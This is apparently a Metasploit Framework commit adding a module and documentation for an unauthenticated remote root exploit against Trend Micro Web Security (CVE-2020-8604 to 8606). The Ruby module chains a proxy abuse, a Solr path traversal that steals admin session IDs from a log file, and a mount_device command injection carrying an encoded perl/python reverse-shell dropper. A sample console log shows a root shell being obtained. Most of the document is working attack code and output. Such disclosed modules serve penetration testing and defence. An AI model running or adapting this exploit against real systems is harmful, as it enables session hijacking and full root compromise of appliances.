Land #13645, Trend Micro WebSecurity RCE
This commit is contained in:
commit
6e93dcf8c2
|
@ -0,0 +1,105 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits multiple vulnerabilities together in order to achieve remote code execution in Trend Micro Web Security.
|
||||
Unauthenticated users can execute a terminal command under the context of the root user.
|
||||
|
||||
The specific flaw exists within the `LogSettingHandler` class of administrator interface software. When parsing the `mount_device`
|
||||
parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage
|
||||
this vulnerability to execute code in the context of root. But authentication is required to exploit this vulnerability.
|
||||
|
||||
Another specific flaw exists within the proxy service, which listens on port `8080` by default. Unauthenticated users can exploit this
|
||||
vulnerability to communicate with internal services in the product.
|
||||
|
||||
Last but not least a flaw exists within the Apache Solr application, which is installed within the product. When parsing the `file`
|
||||
parameter, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this
|
||||
vulnerability to disclose information in the context of the `IWSS` user.
|
||||
|
||||
Due to a combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the `root` user.
|
||||
|
||||
Versions prior to 6.5 SP2 Patch 4 (Build 1901) are affected.
|
||||
|
||||
### Vulnerable Application Installation Steps
|
||||
|
||||
Trend Micro Web Security is distrubed as an ISO image by Trend Micro.
|
||||
|
||||
The following steps are valid on the CentOS 6 x64 bit operating system.
|
||||
|
||||
1. Open following URL [http://downloadcenter.trendmicro.com/](http://downloadcenter.trendmicro.com/)
|
||||
2. Find "InterScan Web Security Virtual Appliance" and click.
|
||||
3. Go to **Service Pack** section.
|
||||
4. At the time of writing this documentation, you must see **IWSVA-6.5-SP2-1548-x86_64.iso** next to Download button.
|
||||
5. Click to the download button and complete installation of ISO.
|
||||
|
||||
[https://files.trendmicro.com/products/iwsva/6.5/IWSVA-6.5-SP2-1548-x86_64.iso](https://files.trendmicro.com/products/iwsva/6.5/IWSVA-6.5-SP2-1548-x86_64.iso)
|
||||
|
||||
**System settings used for installation:**
|
||||
- Virtualbox or VMware can be used.
|
||||
- 8 GB of memory at least.
|
||||
- 60 GB of disk size at least.
|
||||
|
||||
### Why perl wrapper for python stager?
|
||||
|
||||
Within the exploit function, you can see a custom Perl wrapper usage for python stager payload. The parameter that contains our payload is
|
||||
going through escaping (double quotes, backslash, etc) and blacklist checks on the server-side. Most of the cmd payload will not work under
|
||||
these circumstances.
|
||||
|
||||
I love meterpreter <3 Using python dropper, which gives a meterpreter session, with command injection vulnerability requires using a double
|
||||
quote or Single-Backslash-Single-Single combination.
|
||||
|
||||
```
|
||||
python -c '#{payload.encoded'
|
||||
"python -c '#{payload.encoded.gsub("'", "'\\\\''")}'"
|
||||
```
|
||||
|
||||
In that specific case, none of these approaches works. The idea is wrapping the python dropper within the perl command that does not
|
||||
contain any special characters.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Run `use exploit/linux/http/trendmicro_websecurity_exec`
|
||||
3. Set `RHOST`
|
||||
4. Set `LHOST`
|
||||
5. Run `check`
|
||||
6. **Verify** that you are seeing `The target is vulnerable.`
|
||||
7. Run `exploit`
|
||||
8. You should get a root shell
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Trend Micro Web Security 6.5-SP2_Build_Linux_1852
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/trendmicro_websecurity_exec
|
||||
msf5 exploit(linux/http/trendmicro_websecurity_exec) > set RHOSTS 192.168.74.31
|
||||
RHOSTS => 192.168.74.31
|
||||
msf5 exploit(linux/http/trendmicro_websecurity_exec) > set LHOST 172.31.224.186
|
||||
LHOST => 172.31.224.186
|
||||
msf5 exploit(linux/http/trendmicro_websecurity_exec) > check
|
||||
|
||||
[*] Trying to extract session ID by exploiting reverse proxy service
|
||||
[+] Extracted number of JSESSIONID : 16
|
||||
[*] Testing JSESSIONID #0 : 132B2651F070E865A646F3ABA681769A
|
||||
[+] Awesome !!! JESSIONID #0 is active.
|
||||
[+] 192.168.74.31:8443 - The target is vulnerable.
|
||||
msf5 exploit(linux/http/trendmicro_websecurity_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.31.224.186:4444
|
||||
[*] Trying to extract session ID by exploiting reverse proxy service
|
||||
[+] Extracted number of JSESSIONID : 16
|
||||
[*] Testing JSESSIONID #0 : 132B2651F070E865A646F3ABA681769A
|
||||
[+] Awesome !!! JESSIONID #0 is active.
|
||||
[*] Exploiting command injection vulnerability
|
||||
[*] Sending stage (53755 bytes) to 172.31.224.1
|
||||
[*] Meterpreter session 1 opened (172.31.224.186:4444 -> 172.31.224.1:53061) at 2020-06-18 20:10:29 +0300
|
||||
|
||||
meterpreter > shell
|
||||
Process 40116 created.
|
||||
Channel 1 created.
|
||||
sh: no job control in this shell
|
||||
sh-4.1# id
|
||||
uid=0(root) gid=0(root) groups=0(root),499(iscan)
|
||||
sh-4.1#
|
||||
```
|
|
@ -0,0 +1,236 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Trend Micro Web Security (Virtual Appliance) Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits multiple vulnerabilities together in order to achive a remote code execution.
|
||||
Unauthenticated users can execute a terminal command under the context of the root user.
|
||||
|
||||
The specific flaw exists within the LogSettingHandler class of administrator interface software.
|
||||
When parsing the mount_device parameter, the process does not properly validate a user-supplied string
|
||||
before using it to execute a system call. An attacker can leverage this vulnerability to execute code in
|
||||
the context of root. But authentication is required to exploit this vulnerability.
|
||||
|
||||
Another specific flaw exist within the proxy service, which listens on port 8080 by default. Unauthenticated users
|
||||
can exploit this vulnerability in order to communicate with internal services in the product.
|
||||
|
||||
Last but not least a flaw exists within the Apache Solr application, which is installed within the product.
|
||||
When parsing the file parameter, the process does not properly validate a user-supplied path prior to using it in file operations.
|
||||
An attacker can leverage this vulnerability to disclose information in the context of the IWSS user.
|
||||
|
||||
Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the root user.
|
||||
|
||||
Version perior to 6.5 SP2 Patch 4 (Build 1901) are affected.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Mehmet Ince <mehmet@mehmetince.net>' # discovery & msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2020-8604'],
|
||||
['CVE', '2020-8605'],
|
||||
['CVE', '2020-8606'],
|
||||
['ZDI', '20-676'],
|
||||
['ZDI', '20-677'],
|
||||
['ZDI', '20-678']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'payload' => 'python/meterpreter/reverse_tcp',
|
||||
'WfsDelay' => 30
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => '-bind'
|
||||
}
|
||||
},
|
||||
'Platform' => ['python'],
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'DisclosureDate' => '2020-06-10',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' =>
|
||||
{
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8443),
|
||||
OptInt.new('PROXY_PORT', [true, 'Port number of Trend Micro Web Filter Proxy service', 8080])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def hijack_cookie
|
||||
# Updating SSL and RPORT in order to communicate with HTTP proxy service.
|
||||
if datastore['SSL']
|
||||
ssl_restore = true
|
||||
datastore['SSL'] = false
|
||||
end
|
||||
port_restore = datastore['RPORT']
|
||||
datastore['RPORT'] = datastore['PROXY_PORT']
|
||||
|
||||
@jsessionid = ''
|
||||
|
||||
# We are exploiting proxy service vulnerability in order to fetch content of catalina.out file
|
||||
print_status('Trying to extract session ID by exploiting reverse proxy service')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => "http://#{datastore['RHOST']}:8983/solr/collection0/replication",
|
||||
'vars_get' => {
|
||||
'command' => 'filecontent',
|
||||
'wt' => 'filestream',
|
||||
'generation' => 1,
|
||||
'file' => '../' * 7 << 'var/iwss/tomcat/logs/catalina.out'
|
||||
}
|
||||
})
|
||||
|
||||
# Restore variables and validate extracted sessionid
|
||||
datastore['SSL'] = true if ssl_restore
|
||||
datastore['RPORT'] = port_restore
|
||||
|
||||
# Routine check on res object
|
||||
unless res
|
||||
fail_with(Failure::Unreachable, 'Target is unreachable.')
|
||||
end
|
||||
|
||||
# If the res code is not 200 that means proxy service is not vulnerable.
|
||||
unless res.code == 200
|
||||
@jsessionid = -1
|
||||
return
|
||||
end
|
||||
|
||||
# Now we are going to extract all JESSIONID from log file and store them in array.
|
||||
cookies = res.body.scan(/CheckUserLogon sessionid : (.*)/).flatten
|
||||
|
||||
if cookies.empty?
|
||||
@jsessionid = 0
|
||||
print_error('System is vulnerable, however a user session was not detected and is therefore unexploitable. Retry after a user logs in.')
|
||||
return
|
||||
end
|
||||
|
||||
print_good("Extracted number of JSESSIONID: #{cookies.length}")
|
||||
|
||||
# We gotta switch back to adminsitrator interface port instead of proxy service. Restore rport and ssl variables.
|
||||
datastore['SSL'] = true if ssl_restore
|
||||
datastore['RPORT'] = port_restore
|
||||
|
||||
# Latest cookie in the log file is the one most probably active. So that we use reverse on array.
|
||||
cookies.reverse.each_with_index do |cookie, index|
|
||||
print_status("Testing JSESSIONID ##{index} : #{cookie}")
|
||||
|
||||
# This endpoints is basically check session :)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('rest', 'commonlog', 'get_sessionID'),
|
||||
'cookie' => "JSESSIONID=#{cookie}"
|
||||
})
|
||||
|
||||
# Routine res check
|
||||
unless res
|
||||
fail_with(Failure::UnexpectedReply, 'Target is unreachable.')
|
||||
end
|
||||
|
||||
# If the cookie is active !
|
||||
if res.code == 200 && res.body.include?('session_flag')
|
||||
print_good("Awesome!!! JESSIONID ##{index} is active.")
|
||||
@jsessionid = cookie
|
||||
break
|
||||
end
|
||||
|
||||
print_warning("JSESSIONID ##{index} is inactive! Moving to the next one.")
|
||||
end
|
||||
|
||||
if @jsessionid.empty?
|
||||
print_error('System is vulnerable, however extracted cookies are not valid! Please wait for a user or admin to login.')
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
#
|
||||
# @jsessionid can be one of the following value
|
||||
#
|
||||
# -1 = Proxy service is not vulnerable, which means we'r not gonna
|
||||
# be able to read catalina.out
|
||||
#
|
||||
# 0 = Proxy service is vulnerable, but catalina.out does not contain any
|
||||
# jessionid string yet !
|
||||
#
|
||||
# empty = Proxy service is vulnerable, but jessionid within log file but
|
||||
# none of them are valid:(
|
||||
#
|
||||
# string = Proxy service is vulnerable and sessionid is valid !
|
||||
#
|
||||
hijack_cookie
|
||||
|
||||
if @jsessionid == -1
|
||||
CheckCode::Safe
|
||||
else
|
||||
CheckCode::Vulnerable
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
unless check == CheckCode::Vulnerable
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
#
|
||||
# 0 => Proxy service is vulnerable, but catalina.out does not contain any
|
||||
# jessionid string yet !
|
||||
#
|
||||
# empty => Proxy service is vulnerable, but jessionid within log file but
|
||||
# none of them are valid:(
|
||||
#
|
||||
if @jsessionid.empty? || @jessionid == 0
|
||||
fail_with Failure::NoAccess, ''
|
||||
end
|
||||
|
||||
print_status('Exploiting command injection vulnerability')
|
||||
|
||||
# Yet another app specific bypass is going on here.
|
||||
# It's so buggy to make the cmd payloads work under the following circumstances (Weak blacklisting, double escaping etc)
|
||||
# For that reason, I am planting our payload dropper within the perl command.
|
||||
|
||||
cmd = "python -c \"#{payload.encoded}\""
|
||||
final_payload = cmd.to_s.unpack1('H*')
|
||||
p = "perl -e 'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
|
||||
|
||||
vars_post = {
|
||||
mount_device: "mount $(#{p}) /var/offload",
|
||||
cmd: 'mount'
|
||||
}
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'rest', 'commonlog', 'log_setting', 'mount_device'),
|
||||
'cookie' => "JSESSIONID=#{@jsessionid}",
|
||||
'ctype' => 'application/json',
|
||||
'data' => vars_post.to_json
|
||||
})
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue